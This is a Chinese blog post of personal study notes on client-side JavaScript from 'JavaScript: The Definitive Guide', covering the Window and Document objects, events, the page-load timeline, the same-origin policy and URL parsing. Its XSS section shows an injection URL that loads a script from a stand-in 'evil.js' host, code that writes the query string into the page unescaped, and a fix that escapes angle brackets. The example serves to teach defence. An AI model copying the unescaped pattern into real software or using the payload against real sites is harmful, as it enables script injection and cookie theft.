JavaScript权威指南(个人笔记):(八)Web浏览器中的JavaScript

迄今为止,我们所看到的大部分例子虽然是合法的JavaScript代码,但是却没有特定的上下文,也就是说他们不过是一些运行在不明环境中的代码片段。本章提供了一个可以运行JavaScript的上下文。

一些呈现静态信息的页面,叫做文档(document)(由于加入了JavaScript,静态页面的信息看上去会动来动去的,但信息本身是静态的),相对于文档来说,其他的Web页面则感觉上更像是应用。

Window对象是所有客户端JavaScript特性和API的主要接入点。它表示Web浏览器的一个窗口和窗体,并且可以用标识符window来引用他。

Window对象定义了一些属性和方法。在客户端JavaScript中,Window对象也是全局对象。

Window对象处于作用域链的顶部,他的属性和方法实际上是全局变量和全局函数。Window对象有一个引用自身的属性,叫window。

如果需要引用窗口对象本身,可以用这个属性,但是如果只是想要引用全局窗口对象的属性,通常并不需要用到window。

Window对象其中一个最重要的属性是document,它引用Document对象,表示显示在窗口中的文档。Document对象有一些重要的方法,比如getElementById(),可以基于元素id属性的值返回单一的文档元素:

// 查找id="timestamp"的元素

var timestamp = document.getElementById("timestamp");

 

getElementById()返回的Element对象有其他重要的属性和方法,比如允许脚本获取它的内容,设置属性等。

每个Element对象都有style和className属性,允许脚本指定文档元素的CSS样式,或修改应用到元素上的CSS类名:

// 显示修改目标元素的呈现

timestamp.style.backgroundColor = "yellow";

// 或者只改变类,让样式表指定具体内容

timestamp.className= "highlight";

 

Window,Document和Element对象上另一个重要的属性集合是事件处理程序相关的属性。可以在脚本中为之绑定一个函数,这个函数会在某个事件发生时以异步的方式调用。

Window对象的onload处理程序是最重要的事件处理程序之一。当显示在窗口中的文档内容稳定并可以操作时会触发他。JavaScript代码通常封装在onload事件处理程序里。

 

Web文档里的JavaScript

JavaScript程序可以通过Document对象和他包含的Element对象遍历和管理文档内容。 

 

Web应用里的JavaScript

谨记Web浏览器是简单操作系统的概念,这样就可以把Web应用定义为用JavaScript访问更多浏览器提供的高级服务(比如网络,图像和数据存储)的Web页面

 

HTML中的事件处理程序

当脚本所在的HTML文件被载入浏览器时,这个脚本里的JavaScript代码只会执行一次。

为了可交互,JavaScript程序必须定义事件处理程序——Web浏览器先注册JavaScript函数,并在之后调用它作为事件的响应(比如用户输入)。

JavaScript代码可以通过把函数赋值给Element对象的属性(比如onclick)来注册事件处理程序。这个Element对象表示文档里的一个HTML元素。

 

JavaScript程序的执行

JavaScript程序的执行有两个阶段。

在第一阶段,载入文档内容,并执行<script>元素里的代码(包括内联脚本和外部脚本)。脚本通常(但不总是)会按他们在文档里出现的顺序执行。

当文档载入完成,并且所有脚本执行完成后,JavaScript执行就进入它的第二阶段。这个阶段是异步的,而且由事件驱动的。

 

在事件驱动阶段,Web浏览器调用事件处理程序函数(由第一阶段里执行的脚本指定的HTML事件处理程序,或之前调用的事件处理程序来定义),来响应异步发生的事件。

调用事件处理程序通常是响应用户输入(如鼠标单击,键盘按下等)。但是,还可以由网络活动,运动时间或者JavaScript中的错误来出发。

事件驱动阶段里发生的第一个事件是load事件,指示文档已经完全载入,并可以操作。JavaScript程序经常用这个事件来触发或发送消息。

在文档载入完成之后,只要Web浏览器显示文档,事件驱动阶段就会一直持续下去。因为这个阶段是异步的和事件驱动的,所以可能有长时间处于不活动状态,没有JavaScript被执行,被用户或网络事件触发的活动打断。

 

事件驱动的JavaScript

当我们谈论事件的时候,必须同时指定事件类型(名字)和目标:比如,一个单击事件发生在HTMLButtonElement对象上。

如果想要程序响应一个事件,写一个函数,叫做“事件处理程序”,“事件监听器”或“回调”。然后注册这个函数,这样他就会在事件发生时调用他。函数可以通过HTML属性来完成。但是我们不鼓励将JavaScript代码和HTML内容混淆在一起。反之,注册事件处理程序最简单的方法是JavaScript函数赋值给目标对象的属性,例子:

document.getElementById("button1").onclick = function() { ... };

注意,按照约定,事件处理程序的属性的名称是以”on“开始,后面跟着事件的名字。

还要注意在上面的任何代码里没有函数调用:只是把函数本身赋值给这些属性。浏览器会在事件发生时执行调用。

 

大部分可以成为事件目标的对象都有一个叫做addEventListenter()的方法,允许注册多个监听器:

window.addEventListener("load",  function() { ... }, false);

 

客户端JavaScript线程模型

单线程执行是为了让编程更加简单。编写代码时可以确保两个事件处理程序不会同一时刻运行,操作文档内容时也不必担心会有其他线程试图同时修改文档,并且永远不需要在写JavaScript代码的时候担心锁,死锁和竞态条件。

单线程执行意味着浏览器必须在脚本和事件处理程序执行的时候停止响应用户输入。这为JavaScript程序员带来了负担。他意味着JavaScript脚本和事件处理程序不能运行太长时间。

如果应用程序不得不执行太多的计算而导致明显的延迟,应当允许文档在执行这个计算之前完全载入,并确保能够告知用户计算正在进行并且浏览器没有挂起。

如果可能将计算分解为离散的子任务,可以使用setTime()方法在后台运行子任务,同时更新一个进度指示器向用户显示反馈。

 

客户端JavaScript时间线

1.Web浏览器创建Document对象,并且开始解析Web页面,解析HTML元素和他们的文本内容后添加Element对象和Text节点到文档中。

在这个阶段document.readstate属性的值是”loading“

 

2.当HTML解释器遇到<script>元素时,他把这些元素添加到文档中,然后执行内或外部脚本。这些脚本会同步执行,并且在脚本下载和执行时解析器会暂停。

这样脚本就可以用document.write()来把文本插入到输入流中。解析器恢复时这些文本会成为文档的一部分。

 

3.当文本完成解析,document.readystate属性变成”interactive“。 

 

4.浏览器在Document对象上触发DOMContentLoaded事件。这标志着程序执行从同步脚本执行阶段转换到了异步事件驱动阶段。但要注意,这时可能还有异步脚本没有执行完成。

 

5.这时,文档已经完全解析成功,但浏览器可能还在等待其他内容载入,如图片。当所有这些内容完成载入时,并且所有异步脚本完成载入和执行,document.readystate属性变成“complete”。

Web浏览器触发Window对象上的load事件。

 

6.从此刻起,会调用异步事件,以异步响应用户输入事件,网络事件,计时器过期等。

(中间有几步暂时没写)

 

同源策略

文档的来源包含协议,主机以及载入文档的URL端口。

1.使用http:协议载入的文档和https:协议载入的文档具有不同的来源,即使他们来自同一个服务器。

2.从不同的Web服务器载入的文档具有不同的来源。

3.通过同一主机的不同端口载入的文档具有不同的来源。

 

脚本本身的来源和同源策略并不相关,相关的是脚本所嵌入的文档的来源,理解这一点非常重要(晚点再看看)

 

同源策略还应用于使用XMLHttpRequest生成的HTTP请求,这个对象允许客户端JavaScript生成任意的HTTP请求到脚本所属文档的Web服务器,但是不允许脚本和其他Web服务器通讯。

 

跨站脚本

防止XSS攻击是服务器端Web开发者的一项基本工作。然而,客户端JavaScript程序员也必须意识到或者能够预防跨站脚本。

例子:
http://siteA/test?<script src=siteB/evil.js></script>

let name = decodeURIComponent(window.location.search.substring(1));

document.write("hello" + name);

之所以叫做跨站脚本攻击,就是因为它涉及多个站点。站点B(或者站点C)包含一个专门构造的到站点A的链接,它会注入一个来自站点B的脚本。

脚本eval.js驻留在恶意站点B中,但现在,它嵌入到站点A中,并且可以对站点A的内容进行任何想要的操作,它可能损坏这个页面或者使其不能正常工作。这可能会对站点A的用户带来不少坏处。

更危险的是,恶意脚本可以读取站点A所存储的cookie(可能是统计数据或者其他的个人验证信息),然后把数据发送回站点B。注入的脚本甚至可以诱骗用户击键并将数据发送回站点B。

通常,防止XSS攻击的方式是,在使用任何不可信的数据动态的创建文档内容之前,从中移除HTML标签。可以通过添加如下一行代码来移除<script>标签两边的尖括号:

name = name.replace(/</g, "&lt;").replace(/>/g, "&gt;");

上面的代码替换,把字符串中所有的尖括号替换成他们对应的HTML实体,也就是说将字符串中任意HTML标签进行转义和过滤删除处理。

 

解析URL

Window对象的location属性引用的是Location对象,它表示该窗口中当前显示的文档的URL。

例子:提取URL的搜索字符串中的参数,这个函数用来解析来自URL的查询串中的name=value参数对,它将name=value对存储在一个对象的属性中,并返回该对象

let args = urlArgs();  // 从URL中解析参数

let q = args.q || "";  // 如果参数定义了的话就是用参数,否则就是用一个默认值

let n = args.n ? parseInt(args.n) : 10;

function urlArgs() {

  let args = {};

  let query = location.search.substring(1);

  let pairs = query.split("&");

  for (let i= 0; i<pairs.length; i++) {

    let pos = pairs[i].indexOf('=');

    if (pos == -1) continue;

    let name = pairs[i].substring(0, pos);

    let value = pairs[i].substring(pos+1);

    value = decodeURIComponent(value);

    args[name] = value;
  }

  return args;
}

 

作为Window对象属性的文档元素

如果在HTML文档中用id属性来为元素命名,并且如果Window对象没有此名字的属性,Window对象会赋予一个属性,它的名字是id属性的值,而它们的值指向表示文档元素的HTMLElement对象

Window对象是以全局对象的形式存在于作用域链的最上层,这就意味着在HTML文档中使用的id属性会成为可以被脚本访问的全局变量。如果文档包含一个<button id="okay"/>元素,可以通过全局变量okay来引用此元素。

如果脚本中的同名变量声明出现在命名元素之前,那这个变量的存在就会阻止元素获取他的window属性。而如果脚本中的变量声明出现在命名元素之后,那么变量的显式赋值会覆盖该属性的隐式值。

 

多窗口和窗体

一个Web浏览器窗口可能在桌面上包含多个标签页。每一个标签页都是独立的“浏览上下文”,每一个上下文都有独立的window对象,而且相互之间互不干扰。

posted @ 2020-11-27 18:37  或许从前  阅读(83)  评论(0)    收藏  举报